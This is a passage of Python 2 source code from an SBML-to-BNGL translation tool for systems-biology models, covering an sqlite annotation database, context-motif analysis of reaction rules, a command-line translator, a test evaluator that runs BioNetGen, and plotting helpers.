progressbar.ProgressBar(maxval=len((fileSpecies - 1) * (fileSpecies -1))).start() while changeFlag: try: changeFlag = False for idx in range(0, len(fileSpecies) - 1): for idx2 in range(idx+1, len(fileSpecies)): #if (len(fileSpecies[idx]['name']) > 2 and fileSpecies[idx]['name'].intersection(fileSpecies[idx2]['name'])) \ if fileSpecies[idx]['annotation'].intersection(fileSpecies[idx2]['annotation']) \ or fileSpecies[idx]['annotationName'].intersection(fileSpecies[idx2]['annotationName']): #print 'hello',fileSpecies[idx]['annotationName'],fileSpecies[idx2]['annotationName'] fileSpeciesCopy[idx]['name'] = fileSpeciesCopy[idx]['name'].union(fileSpeciesCopy[idx2]['name']) fileSpeciesCopy[idx]['annotation'] = fileSpeciesCopy[idx]['annotation'].union(fileSpeciesCopy[idx2]['annotation']) fileSpeciesCopy[idx]['annotationName'] = fileSpeciesCopy[idx]['annotationName'].union(fileSpeciesCopy[idx2]['annotationName']) fileSpeciesCopy[idx]['fileName'] = fileSpeciesCopy[idx]['fileName'].union(fileSpeciesCopy[idx2]['fileName']) fileSpeciesCopy[idx]['qualifier'] = fileSpeciesCopy[idx]['qualifier'].union(fileSpeciesCopy[idx2]['qualifier']) fileSpeciesCopy[idx]['otherAnnotation'].extend(fileSpeciesCopy[idx2]['otherAnnotation']) del fileSpeciesCopy[idx2] fileSpecies = fileSpeciesCopy raise IOError except IOError: changeFlag = True continue #fileSpecies = [[x['name'], len(x['fileName'])] for x in fileSpecies] fileSpecies.sort(key=lambda x: len(x['fileName']), reverse=True) #import pickle #with open('results.dump','wb') as f: # pickle.dump(fileSpecies,f) return fileSpecies def isFileInDatabase(self, fileName): return isFileInDatabase(self.databaseName, fileName) def isFileInDatabase(databaseName, fileName): connection = sqlite3.connect(databaseName) cursor = connection.cursor() queryStatement = 'select file from biomodels WHERE file == "{0}"'.format(fileName) matchingFileNames = [x[0] for x in cursor.execute(queryStatement)] connection.close() return len(matchingFileNames) > 0 def setupDatabase(databaseName): connection = sqlite3.connect(databaseName) cursor = connection.cursor() cursor.execute('''CREATE TABLE biomodels(file UNIQUE, organismID INT, FOREIGN KEY(organismID) REFERENCES annotation(ROWID))''') cursor.execute('''CREATE TABLE moleculeNames(fileId INT,name, FOREIGN KEY(fileID) REFERENCES biomodels(file))''') cursor.execute('''CREATE TABLE annotation(annotationURI UNIQUE ON CONFLICT IGNORE,annotationName)''') cursor.execute('''CREATE TABLE identifier(annotationID INT, qualifier, speciesID INT, FOREIGN KEY(speciesID) \ REFERENCES moleculeName(ROWID), FOREIGN KEY(annotationID) references annotation(ROWID))''') cursor.execute('''CREATE TABLE bond(fileName INT, moleculeID1 INT, moleculeID2 INT, FOREIGN KEY(fileName) REFERENCES biomodels(ROWID), \ FOREIGN KEY(moleculeID1) REFERENCES moleculeNames(ROWID), FOREIGN KEY(moleculeID2) REFERENCES moleculeNames(ROWID))''') connection.commit() connection.close() def extractBasicAnnotations(fileName, userDefinitions=None): annotations = utils.annotationExtractor.AnnotationExtractor(fileName, userDefinitions) elementalMolecules = [x for x in annotations.sct if annotations.sct[x] == []] speciesAnnotations = {x: annotations.getAnnotationSystem()[x] for x in elementalMolecules} modelAnnotations = annotations.getModelAnnotations() return speciesAnnotations, modelAnnotations def populateDatabaseFromFile(fileName, databaseName, userDefinitions=None): """ Insert annotations from file <fileName> """ fileName2 = fileName.split(os.sep)[-1] if isFileInDatabase(databaseName, fileName2): print('Database already contains annotation from file {0}'.format(fileName2)) return -1 connection = sqlite3.connect(databaseName) cursor = connection.cursor() basicModelAnnotations, generalModelAnnotations = extractBasicAnnotations(fileName, userDefinitions) moleculeNames = [] annotationNames = [] moleculeAnnotations = [] modelSpecies = '' # insert model description for annotation in generalModelAnnotations: if 'taxonomy' in annotation[1]: modelSpecies = annotation break annotationNames.append(utils.annotationResolver.resolveAnnotation(annotation[1])) cursor.executemany("INSERT into annotation(annotationURI,annotationName) values (?, ?)", annotationNames) connection.commit() annotationID = [x for x in cursor.execute('select ROWID from annotation WHERE annotationURI == "{0}"'.format(annotationNames[-1][0]))][0][0] annotationNames = [] cursor.executemany("INSERT into biomodels(file,organismID) values (?,?)", [[fileName2, annotationID]]) connection.commit() modelID = [x for x in cursor.execute('select ROWID from biomodels WHERE file == "{0}"'.format(fileName2))][0][0] # insert moleculeNames for molecule in basicModelAnnotations: moleculeNames.append([modelID, molecule]) annotationIDs = {x[1]: x[0] for x in cursor.execute("select ROWID,annotationURI from annotation")} # insert annotations for molecule in basicModelAnnotations: for annotationType in basicModelAnnotations[molecule]: for annotation in basicModelAnnotations[molecule][annotationType]: if annotation not in annotationIDs: annotationName = utils.annotationResolver.resolveAnnotation(annotation) annotationNames.append([annotation, annotationName[1]]) cursor.executemany("INSERT into annotation(annotationURI,annotationName) values (?, ?)", annotationNames) connection.commit() cursor.executemany("INSERT into moleculeNames(fileId,name) values (?, ?)", moleculeNames) connection.commit() moleculeIDs = {x[1]: x[0] for x in cursor.execute("select ROWID,name from moleculeNames WHERE moleculeNames.fileId == '{0}'".format(modelID))} annotationIDs = {x[1]: x[0] for x in cursor.execute("select ROWID,annotationURI from annotation")} for molecule in basicModelAnnotations: for annotationType in basicModelAnnotations[molecule]: for annotation in basicModelAnnotations[molecule][annotationType]: moleculeAnnotations.append([annotationIDs[annotation], moleculeIDs[molecule], annotationType]) cursor.executemany("insert into identifier(annotationID,speciesID, qualifier) values (?, ?, ?)", moleculeAnnotations) connection.commit() connection.close() def populateBondDatabaseFromFile(fileName, databaseName): pass def defineConsole(): parser = argparse.ArgumentParser(description='SBML to BNGL translator') parser.add_argument('-c', '--create', action='store_true', help='Create database tables') parser.add_argument('-d', '--database', type=str, help='database to modify', required=True) parser.add_argument('-i', '--input-file', type=str, help='input SBML file') parser.add_argument('-u', '--user_conventions', type=str, help='Use user convention definitions for SCT calculation') parser.add_argument('-q', '--query', type=str, help='Query a database for its common namespace') parser.add_argument('-s', '--specific_query', type=str, help='search for models with a given molecule') parser.add_argument('-r', '--directory', type=str, help='Add SBML models in directory "directory" to database') #parser.add_argument('-o','--output-file',type=str,help='output SBML file',required=True) return parser def query(database, queryType, queryOptions): db = NamingDatabase(database) #db.getAnnotationsFromSpecies('EGFR') #db.getSpeciesFromAnnotations('http://identifiers.org/uniprot/P00533') #print db.getSpeciesFromFileName('BIOMD0000000048.xml') try: if Query[queryType] == Query.species: if queryOptions is None: print "Species query must indicate a species to search for using the '-s' flag" return selectedFiles = db.getFileNameFromSpecies(queryOptions) result = db.findOverlappingNamespace(selectedFiles) elif Query[queryType] == Query.organism: if queryOptions is not None: selectedFiles = db.getFileNameFromOrganism(queryOptions) if selectedFiles != []: result = db.findOverlappingNamespace(selectedFiles) else: result = [] else: result = {} organismNames = db.getOrganismNames() for organism in organismNames: selectedFiles = db.getFileNameFromOrganism(organism) print organism, len(selectedFiles) result[organism] = db.findOverlappingNamespace(selectedFiles) elif Query[queryType] == Query.family: result = {} if queryOptions is None: selectedFiles = [] for family in organismFamilies: selectedFiles.extend(db.getFileNameFromSpecies(family)) result['mammalsFamily'] = db.findOverlappingNamespace(selectedFiles) elif Query[queryType] == Query.all: result = db.findOverlappingNamespace([]) #pprint.pprint([[x['name'], len(x['fileName'])] for x in result]) import pickle with open('results2.dump', 'wb') as f: pickle.dump(result, f) except KeyError: print 'Query operation not supported' if __name__ == "__main__": parser = defineConsole() namespace = parser.parse_args() if namespace.query: query(namespace.database, namespace.query, namespace.specific_query) else: if namespace.create: setupDatabase(namespace.database) if namespace.input_file: userDefinitions = namespace.user_conventions populateDatabaseFromFile(namespace.input_file, namespace.database, userDefinitions) if namespace.directory: sbmlFiles = getFiles(namespace.directory, 'xml') progress = progressbar.ProgressBar(maxval=len(sbmlFiles)).start() for idx in progress(range(len(sbmlFiles))): populateDatabaseFromFile(sbmlFiles[idx], namespace.database, None) ``` #### File: SBMLparser/rulifier/postAnalysis.py ```python import componentGroups import argparse import pprint from collections import defaultdict import itertools from copy import copy from utils import readBNGXML import functools import marshal def memoize(obj): cache = obj.cache = {} @functools.wraps(obj) def memoizer(*args, **kwargs): key = marshal.dumps([args, kwargs]) if key not in cache: cache[key] = obj(*args, **kwargs) return cache[key] return memoizer @memoize def resolveEntry(dependencyGraph, moleculeSet): """ resolve an entry to its basic components according to dependency graph >>> dependencyGraph = {'EGF_EGFR_2':[['EGF_EGFR','EGF_EGFR']],'EGF_EGFR':[['EGF','EGFR']],'EGFR':[],'EGF':[]} >>> resolveEntry(dependencyGraph, ['EGF_EGFR_2']) ['EGF', 'EGFR', 'EGF', 'EGFR'] """ if type(moleculeSet) == str: return [moleculeSet] if len(moleculeSet) == 1 and dependencyGraph[moleculeSet[0]] == []: return moleculeSet compositionList = [] for molecule in moleculeSet: if len(dependencyGraph[molecule]) == 0: compositionList.append(molecule) else: compositionList.extend(resolveEntry(dependencyGraph, dependencyGraph[molecule][0])) return compositionList class ModelLearning: def __init__(self, fileName,rawFileName=None): self.molecules, self.rules, _ = readBNGXML.parseXML(fileName) self.dependencies, self.patternXreactions, _, _ = componentGroups.getContextRequirements(fileName, collapse=False) self.transposePatternsReactions() self.reverseDependencies = componentGroups.reverseContextDict(self.dependencies) self.moleculeMotifDict, self.motifMoleculeDict = self.classifyPairsByMotif(self.reverseDependencies) if rawFileName: self.processRawSBML(rawFileName) else: self.rawRules = {} def processRawSBML(self,inputfile): _, rawrules, _ = readBNGXML.parseXML(inputfile) self.rawRules = {x[0].label: x[0] for x in rawrules} def transposePatternsReactions(self): self.reactionsXpatterns = defaultdict(lambda: defaultdict(lambda: defaultdict(list))) for product in self.patternXreactions: for reactionCenter in self.patternXreactions[product]: for contextcomponent in self.patternXreactions[product][reactionCenter]: for contextState in self.patternXreactions[product][reactionCenter][contextcomponent]: for reaction in self.patternXreactions[product][reactionCenter][contextcomponent][contextState]: self.reactionsXpatterns[reaction][product][reactionCenter].append((contextcomponent, contextState)) def classifyPairsByMotif(self, reverseDependencies): """ recives a dict arranged by molecule->componentPair->dependency organizes molecule pairs by a concept called 'motif' """ motifDependencies = defaultdict(lambda: defaultdict(list)) motifDependencies2 = defaultdict(lambda: defaultdict(list)) for molecule in reverseDependencies: for moleculePair in reverseDependencies[molecule]: motifDependencies[molecule][frozenset(moleculePair)].append(reverseDependencies[molecule][moleculePair]) for molecule in motifDependencies: for moleculePair in motifDependencies[molecule]: requirementPair = tuple(sorted(motifDependencies[molecule][moleculePair])) motifDependencies2[requirementPair][molecule].append(moleculePair) return motifDependencies, motifDependencies2 def getMotifFromPair(self, molecule, component1, component2): return self.moleculeMotifDict[molecule][frozenset([component1, component2])] def getParticipatingReactions(self, molecule, componentPair, reactionDictionary): correlationList = {} for moleculeName in reactionDictionary: if moleculeName.startswith(molecule + '%'): for component in reactionDictionary[moleculeName]: if component[0] in componentPair and (component[1] == 1 or component[2] not in ['0', 0, '']): for componentComplement in [x for x in reactionDictionary[moleculeName][component] if x in componentPair]: correlationList[(component[0], componentComplement)] = (reactionDictionary[moleculeName][component][componentComplement]) return correlationList def getPairsFromMotif(self, motif1, motif2, excludedComponents): moleculeCorrelationList = defaultdict(dict) for element in self.motifMoleculeDict: if motif1 in element and motif2 in element: if motif1 == motif2 and len([x for x in element if x == motif1]) < 2: continue for molecule in self.motifMoleculeDict[element]: correlationList = {} if len(self.motifMoleculeDict[element][molecule]) > 0: for componentPair in self.motifMoleculeDict[element][molecule]: if not any(x in excludedComponents for x in componentPair): correlationList[componentPair] = self.getParticipatingReactions(molecule, componentPair, self.patternXreactions) moleculeCorrelationList[molecule].update(correlationList) return dict(moleculeCorrelationList) def analyzeRedundantBonds(self, assumptions): """ Analyzes a system of molecules with redundant bonds between them (more than one path between any two nodes in the system). The function attemps to score the bonds by looking out for partial competition relationships (e.g. the presence of one component excludes the activation of another, but in the other direction we see independence) which are less likely to occur than a fully independence relationship. The method will thus nominate such edges for deletion if the overall systems still forms a fully connected graph after the bond removal. """ def fullyConnectedGraph(nodes, edges): """ Lazy implementation. This only works if there is one common elements to all subgraphs """ if edges == []: return False tmpNodeList = [set(x) for x in edges] superGraph = set.intersection(*map(set, edges)) if len(superGraph) > 0: return True return False conserveBonds = [] deleteBonds = {} for redundantBondSet in assumptions: allBonds = [sorted(x) for x in itertools.combinations(redundantBondSet, 2)] conserveBonds = [] for molecule in redundantBondSet: for x in itertools.combinations([x for x in redundantBondSet if x != molecule], 2): contextMotif = self.getMotifFromPair(molecule, x[0].lower(), x[1].lower()) if ('independent' in contextMotif and not ('requirement' in contextMotif or 'nullrequirement' in contextMotif)) \ or set(contextMotif) == set(['requirement', 'nullrequirement']): conserveBonds.append(sorted([molecule, x[0]])) conserveBonds.append(sorted([molecule, x[1]])) if fullyConnectedGraph(redundantBondSet, conserveBonds): deleteBonds[redundantBondSet] = [x for x in allBonds if x not in conserveBonds] return deleteBonds def scoreHypotheticalBonds(self, assumptions): """ TODO: we need some way to evaluate the confidence in a bond based on context information """ pass def getDifference(self, pattern1, pattern2, translator): if pattern1 not in translator or pattern2 not in translator: return None species1 = translator[pattern1] species2 = translator[pattern2] species1.sort() species2.sort() componentDifference = [] for molecule1,molecule2 in zip(species1.molecules,species2.molecules): for component1,component2 in zip(molecule1.components,molecule2.components): if len(component1.bonds) != len(component2.bonds) or component1.activeState != component2.activeState: componentDifference.append(component1.name) return componentDifference def processContextMotifInformation(self, assumptionList, database): def getClassification(keys, translator): flags = [key in [x.lower() for x in translator.keys()] for key in keys] if all(flags): return 'binding-binding' elif any(flags): return 'modification-binding' return 'modification-modification' motifInformationDict = self.getContextMotifInformation() motifFinalLog = defaultdict(set) motifReactionDefinitions = {} for motifInformation in motifInformationDict: # iterate over motifs that are known to be problematic if motifInformation in [frozenset(['nullrequirement', 'independent']), frozenset(['requirement', 'independent'])]: for molecule in motifInformationDict[motifInformation]: if len(motifInformationDict[motifInformation][molecule]) == 0: continue # if the candidate definitions for a given compound are related to a molecule with problematic motifs for assumption in (x for x in assumptionList for y in eval(x[3][1]) for z in y if molecule in z): candidates = eval(assumption[1][1]) alternativeCandidates = eval(assumption[2][1]) original = eval(assumption[3][1]) # further confirm that the change is about the pair of interest # by iterating over all candidates and comparing one by one for candidate in candidates: for alternativeCandidate in alternativeCandidates: difference = [x for x in candidate if x not in alternativeCandidate] difference.extend([x for x in alternativeCandidate if x not in candidate]) # if we are referencing a molecule that is not about this particular context change # dont store it in the motif/species table, just keep information about the motif alone localAnalysisFlag = True if not any([molecule in database.prunnedDependencyGraph[x][0] if len(database.prunnedDependencyGraph[x]) > 0 else molecule in x for x in difference]): localAnalysisFlag = False # continue if localAnalysisFlag: # get those elements that differ between the two candidates and that correspond to the current <molecule> being analyzed difference = [x for x in candidate if x not in alternativeCandidate and resolveEntry(database.prunnedDependencyGraph, [x])[0] == molecule] alternativeDifference = [x for x in alternativeCandidate if x not in candidate and molecule in resolveEntry(database.prunnedDependencyGraph, [x])[0]] # get the difference patterns for the two species if not difference or not alternativeDifference: continue componentDifference = self.getDifference(difference[0], alternativeDifference[0], database.translator) # make sure that the current motif candidate intersects with the difference pattern for keys in motifInformationDict[motifInformation][molecule]: if localAnalysisFlag and any(key in componentDifference for key in keys): motifFinalLog['{0}({1})'.format(molecule, ', '.join(keys))].add(assumption[0]) classification = getClassification(keys, database.translator) if classification not in motifReactionDefinitions: motifReactionDefinitions[classification] = {} motifReactionDefinitions[classification]['{0}({1})'.format(molecule, ', '.join(keys))] = (motifInformation, motifInformationDict[motifInformation][molecule][keys]) #pprint.pprint(dict(motifFinalLog)) #pprint.pprint(motifReactionDefinitions) return motifFinalLog, motifReactionDefinitions def getContextMotifInformation(self): ''' returns the reactions in the system classified by context-component motif pairs. e.g. a requirement,nullrequirement motif pair is a pair of components A->B such that B needs for A to be activated to activate, whereas A needs for B to be inactivated to activate. ''' relationshipCombinations = itertools.combinations(['independent', 'requirement', 'nullrequirement', 'exclusion'], 2) motifDictionary = {} for relCombi in relationshipCombinations: motifDictionary[frozenset(relCombi)] = self.getPairsFromMotif(relCombi[0], relCombi[1], []) for requirementClass in ['independent', 'requirement', 'nullrequirement', 'exclusion']: motifDictionary[frozenset([requirementClass, requirementClass])] = self.getPairsFromMotif(requirementClass, requirementClass, []) return motifDictionary def getComplexReactions(self, threshold=2): complexRules = [] for rule in self.rules: if len([x for x in rule[0].actions if x.action not in ['ChangeCompartment']]) >= threshold: complexRules.append(rule) return complexRules def analyzeComplexReactions(self, threshold=2): def getActionableComponentPartners(actions, molecule): actionableComponents = [] for action in actions: if action[1] and action[1] in molecule.lower(): actionableComponents.append(action[2]) if action[2] and action[2] in molecule.lower(): actionableComponents.append(action[1]) return actionableComponents for reaction in self.getComplexReactions(): #analyze reactions with cis-allostery (e.g. two actions sites are on the same molecule) if len([x for x in self.reactionsXpatterns[reaction[0].label] if len(self.reactionsXpatterns[reaction[0].label][x]) > 1]) ==0: continue print '----------' if reaction[0].label in self.rawRules: print str(self.rawRules[reaction[0].label]) print '>>>>>>' print str(reaction[0]) else: print str(reaction[0].label) #print str(reaction[0]) resolvedActions = [] print 'Actions:' changeFlag = 0 for action in reaction[0].actions: molecule1 = reaction[-3]['_'.join(action.site1.split('_')[:-1])] if action.site1 else '' molecule2 = reaction[-3]['_'.join(action.site2.split('_')[:-1])] if action.site2 else '' site1 = reaction[-3][action.site1] if action.site1 else '' site2 = reaction[-3][action.site2] if action.site2 else '' print '\t{0}= {1}({2}), {3}({4})'.format(action.action,molecule1,site1,molecule2,site2) if action.action == 'DeleteBond': changeFlag = 1 resolvedActions.append([action.action,site1,site2]) print 'Context:' for reactionCenter in self.reactionsXpatterns[reaction[0].label]: #cys rules if len(self.reactionsXpatterns[reaction[0].label][reactionCenter]) > 1: for state in self.reactionsXpatterns[reaction[0].label][reactionCenter]: #we will focus on statechange actions for now if state[2] not in ['']: #print self.patternXreactions[reactionCenter] actionableComponents = getActionableComponentPartners([x for x in resolvedActions if x[0] in ['AddBond', 'DeleteBond']],reactionCenter) for component in actionableComponents: print '\treaction center <{0}>, context <{1}> in molecule <{2}>:'.format(component,state[0],reactionCenter) print '\t', {x: dict(self.patternXreactions[reactionCenter][(component, changeFlag, '')][x]) \ for x in self.patternXreactions[reactionCenter][(component, changeFlag, '')] if x in [state[0],state[0].lower()]} print '+++++++++' def defineConsole(): """ defines the program console line commands """ parser = argparse.ArgumentParser(description='SBML to BNGL translator') parser.add_argument('-i', '--input', type=str, help='sbml file') parser.add_argument('-r', '--raw', type=str, help='raw sbml file') parser.add_argument('-t','--tests',action='store_true',help='run unit tests') return parser def runTests(): import doctest doctest.testmod() if __name__ == "__main__": parser = defineConsole() namespace = parser.parse_args() if namespace.tests: runTests() exit() inputFile = namespace.input modelLearning = ModelLearning(namespace.input, namespace.raw) #print modelLearning.getMotifFromPair('EGFR','grb2','shc') #print modelLearning.getMotifFromPair('Shc','grb2','egfr') #modelLearning.analyzeComplexReactions() #for rule in complexRules: # print str(rule[0]) relationshipCombinations = itertools.combinations(['independent', 'requirement', 'nullrequirement', 'exclusion'], 2) motifDictionary = {} for relCombi in relationshipCombinations: motifDictionary[relCombi] = modelLearning.getPairsFromMotif(relCombi[0], relCombi[1],['imod']) if len(motifDictionary[relCombi]) > 0: print relCombi, {x:len(motifDictionary[relCombi][x]) for x in motifDictionary[relCombi]} for requirementClass in ['independent', 'requirement', 'nullrequirement', 'exclusion']: motifDictionary[(requirementClass,requirementClass)] = modelLearning.getPairsFromMotif(requirementClass, requirementClass, ['imod']) if len(motifDictionary[(requirementClass, requirementClass)]) > 0: print (requirementClass, requirementClass), {x:len(motifDictionary[(requirementClass,requirementClass)][x]) for x in motifDictionary[(requirementClass,requirementClass)]} print modelLearning.getPairsFromMotif('independent','requirement',['imod']) print '---' #print modelLearning.getPairsFromMotif('independent','nullrequirement',['imod']) ``` #### File: source_Atomizer/SBMLparser/sbmlTranslator.py ```python import libsbml2bngl as ls2b import argparse import yaml def defineConsole(): parser = argparse.ArgumentParser(description='SBML to BNGL translator') parser.add_argument('-i', '--input-file', type=str, help='input SBML file', required=True) parser.add_argument('-t', '--annotation', action='store_true', help='keep annotation information') parser.add_argument('-o', '--output-file', type=str, help='output SBML file') parser.add_argument('-c', '--convention-file', type=str, help='Conventions file') parser.add_argument('-n', '--naming-conventions', type=str, help='Naming conventions file') parser.add_argument('-u', '--user-structures', type=str, help='User defined species') parser.add_argument('-id', '--molecule-id', action='store_true', help='use SBML molecule ids instead of names. IDs are less descriptive but more bngl friendly. Use only if the generated BNGL has syntactic errors') parser.add_argument('-nc','--no-conversion', action='store_true', help='do not convert units. Copy straight from sbml to bngl') parser.add_argument('-a', '--atomize', action='store_true', help='Infer molecular structure') parser.add_argument('-p', '--pathwaycommons', action='store_true', help='Use pathway commons to infer molecule binding. This setting requires an internet connection and will query the pathway commons web service.') parser.add_argument('-b', '--bionetgen-analysis', type=str, help='Set the BioNetGen path for context post analysis.') parser.add_argument('-s','--isomorphism-check', action='store_true', help='disallow atomizations that produce the same graph structure') parser.add_argument('-I','--ignore', action='store_true', help='ignore atomization translation errors') return parser def checkInput(namespace): options = {} options['inputFile'] = namespace.input_file conv, useID, naming = ls2b.selectReactionDefinitions(options['inputFile']) options['outputFile'] = namespace.output_file if namespace.output_file is not None else options['inputFile'] + '.bngl' options['conventionFile'] = namespace.convention_file if namespace.convention_file is not None else conv options['userStructure'] = namespace.user_structures options['namingConventions'] = namespace.naming_conventions if namespace.naming_conventions is not None else naming options['useId'] = namespace.molecule_id options['annotation'] = namespace.annotation options['atomize'] = namespace.atomize options['pathwaycommons'] = namespace.pathwaycommons options['bionetgenAnalysis'] = namespace.bionetgen_analysis options['isomorphismCheck'] = namespace.isomorphism_check options['ignore'] = namespace.ignore options['noConversion'] = namespace.no_conversion return options def main(): parser = defineConsole() namespace = parser.parse_args() options = checkInput(namespace) returnArray = ls2b.analyzeFile(options['inputFile'], options['conventionFile'], options['useId'], options['namingConventions'], options['outputFile'], speciesEquivalence=options['userStructure'], atomize=options['atomize'], bioGrid=False, pathwaycommons=options['pathwaycommons'], ignore=options['ignore'], noConversion = options['noConversion']) if namespace.bionetgen_analysis and returnArray: ls2b.postAnalyzeFile(options['outputFile'], namespace.bionetgen_analysis, returnArray.database) if namespace.annotation and returnArray: with open(options['outputFile'] + '.yml', 'w') as f: f.write(yaml.dump(returnArray.annotation, default_flow_style=False)) if __name__ == "__main__": main() ``` #### File: SBMLparser/testing/evaluate.py ```python from os import listdir from os.path import isfile, join import os import subprocess import time import datetime import signal def evaluate(fileName): timeout = 30 with open('temp.tmp', "w") as outfile: d = open('dummy.tmp','w') start = datetime.datetime.now() result = subprocess.Popen(['bngdev', './' + fileName],stderr=outfile,stdout=d) #result = subprocess.Popen(['bngdev', './' + fileName],stderr=outfile,stdout=d) while result.poll() is None: time.sleep(0.1) now = datetime.datetime.now() if (now - start).seconds > timeout: os.kill(result.pid, signal.SIGKILL) os.waitpid(-1, os.WNOHANG) subprocess.call(['killall','run_network']) subprocess.call(['killall','bngdev']) return 5 d.close() if result.poll() > 0: with open('temp.tmp','r') as outfile: lines = outfile.readlines() if 'cvode' in ','.join(lines): return 2 elif 'ABORT: Reaction rule list could not be read because of errors' in ','.join(lines): return 3 else: return 4 else: return result.poll() def validate(fileName): timeout = 30 with open('temp.tmp', "w") as outfile: d = open('dummy.tmp','w') start = datetime.datetime.now() result = subprocess.Popen(['bngdev','--xml', './' + fileName],stderr=outfile,stdout=d) while result.poll() is None: time.sleep(0.1) now = datetime.datetime.now() if (now - start).seconds > timeout: os.kill(result.pid, signal.SIGKILL) os.waitpid(-1, os.WNOHANG) #subprocess.call(['killall','run_network']) subprocess.call(['killall','bngdev']) return 5 d.close() return result.poll() def analyzeErrors(directory): errorLog = {'delay':0,'noninteger':0,'pseudo':0,'dependency':0 ,'rules':0,'others':0,'malformed':0} onlyfiles = [ f for f in listdir('./' + directory) if isfile(join('./' + directory, f)) ] logFiles = [x[0:-4] for x in onlyfiles if 'log' in x] errorFiles = 0 #dont skip the files that only have warnings for log in logFiles: with open('./' + directory + '/' + log +'.log','r') as f: k = f.readlines() logText = ','.join(k) conditions = ['delay','pseudo','natural reactions','Malformed','dependency cycle','non integer stoicheometries'] if 'ERROR' in logText: errorFiles +=1 if 'delay' in logText and all([x not in logText for x in conditions if 'delay' != x]): errorLog['delay'] += 1 elif 'pseudo' in logText and all([x not in logText for x in conditions if 'pseudo' != x]): errorLog['pseudo'] += 1 elif 'natural reactions' in logText and all([x not in logText for x in conditions if 'natural reactions' != x]): errorLog['rules'] += 1 elif 'Malformed' in logText and all([x not in logText for x in conditions if 'Malformed' != x]): errorLog['malformed'] += 1 elif 'dependency cycle' in logText and all([x not in logText for x in conditions if 'dependency cycle' != x]): errorLog['dependency'] += 1 elif 'non integer stoicheometries' in logText and all([x not in logText for x in conditions if 'non integer stoicheometries' != x]): errorLog['noninteger'] += 1 else: errorLog['others'] +=1 print errorLog,errorFiles def createValidFileBatch(directory): import zipfile onlyfiles = [ f for f in listdir('./' + directory) if isfile(join('./' + directory, f)) ] logFiles = [x[0:-4] for x in onlyfiles if x.endswith('log')] errorFiles = [] for x in logFiles: with open('./' + directory + '/' + x +'.log','r') as f: k = f.readlines() if 'ERROR' in ','.join(k): errorFiles.append(x) bnglFiles = [x for x in onlyfiles if x.endswith('bngl')] validFiles = [x for x in bnglFiles if x not in errorFiles] with zipfile.ZipFile('validComplex.zip','w') as myzip: for bngl in validFiles: myzip.write('./{0}/{1}'.format(directory,bngl),bngl) def main(): directory = 'raw' onlyfiles = [ f for f in listdir('./' + directory) if isfile(join('./' + directory,f)) ] logFiles = [x[0:-4] for x in onlyfiles if 'log' in x] errorFiles = [] #dont skip the files that only have warnings for x in logFiles: with open('./' + directory + '/' + x +'.log','r') as f: k = f.readlines() if 'ERROR' in ','.join(k): errorFiles.append(x) bnglFiles = [x for x in onlyfiles if 'bngl' in x and 'log' not in x] validFiles = [x for x in bnglFiles if x not in errorFiles] print 'Thrown out: {0}'.format(len(bnglFiles)-len(validFiles)) skip = [] #['334','225','332','105','293','333','337','18','409'] counter = 0 with open('executionTestErrors' + '.log', 'w') as f: subprocess.call(['rm','./*net']) for idx,bnglFile in enumerate(sorted(validFiles)): #if '100.' not in bnglFile: # continue print bnglFile, timeout = 30 if len([x for x in skip if x in bnglFile]) > 0: continue with open('temp.tmp', "w") as outfile: d = open('dummy.tmp','w') start = datetime.datetime.now() result = subprocess.Popen(['bngdev', './' + directory+ '/{0}'.format(bnglFile)],stderr=outfile,stdout=d) while result.poll() is None: time.sleep(0.1) now = datetime.datetime.now() if (now - start).seconds > timeout: os.kill(result.pid, signal.SIGKILL) os.waitpid(-1, os.WNOHANG) subprocess.call(['killall','run_network']) print 'breaker', counter -=1 break d.close() if result.poll() > 0: with open('temp.tmp','r') as outfile: lines = outfile.readlines() tag = '' if 'cvode' in ','.join(lines): print '///',bnglFile tag = 'cvode' elif 'ABORT: Reaction rule list could not be read because of errors' in ','.join(lines): print '\\\\\\',bnglFile #elif 'Incorrect number of arguments' in ','.join(lines): # print '[[]]',bnglFile else: print '---',bnglFile tag = lines f.write('%s %s\n' % (bnglFile,tag)) f.flush() else: counter += 1 print '+++',bnglFile print counter if __name__ == "__main__": #main() #analyzeErrors('complex') createValidFileBatch('complex') ``` #### File: source_Atomizer/stats/atomizationStatistics.py ```python import pandas from scipy import stats import matplotlib.pyplot as plt import seaborn as sns import numpy as np import progressbar from richContactMap import reactionBasedAtomization, stoichiometryAnalysis, extractActiveMolecules, getValidFiles import readBNGXML from collections import Counter import SBMLparser.utils.annotationExtractor as annEx from scipy.stats import kendalltau sns.set_style("white") def constructHistogram(data, fileName, xlabel, ylabel, bins=10): """ constructs a histogram based on the information in data """ _, axs = plt.subplots(1, 1, sharex=True, figsize=(8, 6)) plt.clf() sns.set_palette("BuGn_d") if type(bins) != int: axs.set_xlim(xmin=0,xmax=bins[-1]) sns.distplot(data, kde=False, rug=False, bins=bins, hist_kws=dict(alpha=1)) #plt.hist(ratomization) plt.xlabel(xlabel, fontsize=18) plt.ylabel(ylabel, fontsize=18) plt.savefig(fileName) def hexbin(x, y, color, **kwargs): cmap = sns.light_palette(color, as_cmap=True) plt.hexbin(x, y, gridsize=15, cmap=cmap, **kwargs) def create2DdensityPlot(dataframe, columns, axisNames, outputfilename, plotType=sns.kdeplot, xlim=(0, 1), ylim=(0, 1)): """ creates a 2d density plot given a dataframe and two columns. saves the image in <outputfilename> """ plt.clf() _, _ = plt.subplots(1, 1, sharex=True, figsize=(8, 6)) g = sns.JointGrid(columns[0], columns[1], dataframe, xlim=xlim, ylim=ylim, space=0) g.plot_marginals(sns.distplot, color="g", bins=None) g.plot_joint(plotType, cmap="Greens", shade=True, n_levels=20) g.set_axis_labels(axisNames[0], axisNames[1]) #ax = g.ax_joint #ax.set_xscale('log') #ax.set_yscale('log') #g.ax_marg_x.set_xscale('log') #g.ax_marg_y.set_yscale('log') g.annotate(stats.pearsonr) plt.savefig(outputfilename) def createHexBin(dataframe,columns,axisnames,outputfilename,xlim=(0,1),ylim=(0,1)): plt.clf() g = sns.JointGrid(columns[0], columns[1], dataframe, space=0) g.ax_marg_x.hist(dataframe[columns[0]], bins=np.arange(xlim[0], xlim[1])) g.ax_marg_y.hist(dataframe[columns[1]], bins=np.arange(ylim[0], ylim[1], orientation="horizontal")) #g.ax_marg_x.hist(x, bins=np.arange(0, 60) #g.ax_marg_y.hist(y, bins=np.arange(0, 1000, 10), orientation="horizontal") g.plot_joint(plt.hexbin, gridsize=25, extent=[xlim[0], xlim[1], ylim[0], ylim[1]], cmap="Blues") #g.fig.savefig("/Users/mwaskom/Desktop/jointgrid.png", bbox_inches="tight") #f, _ = plt.subplots(1, 1, sharex=True, 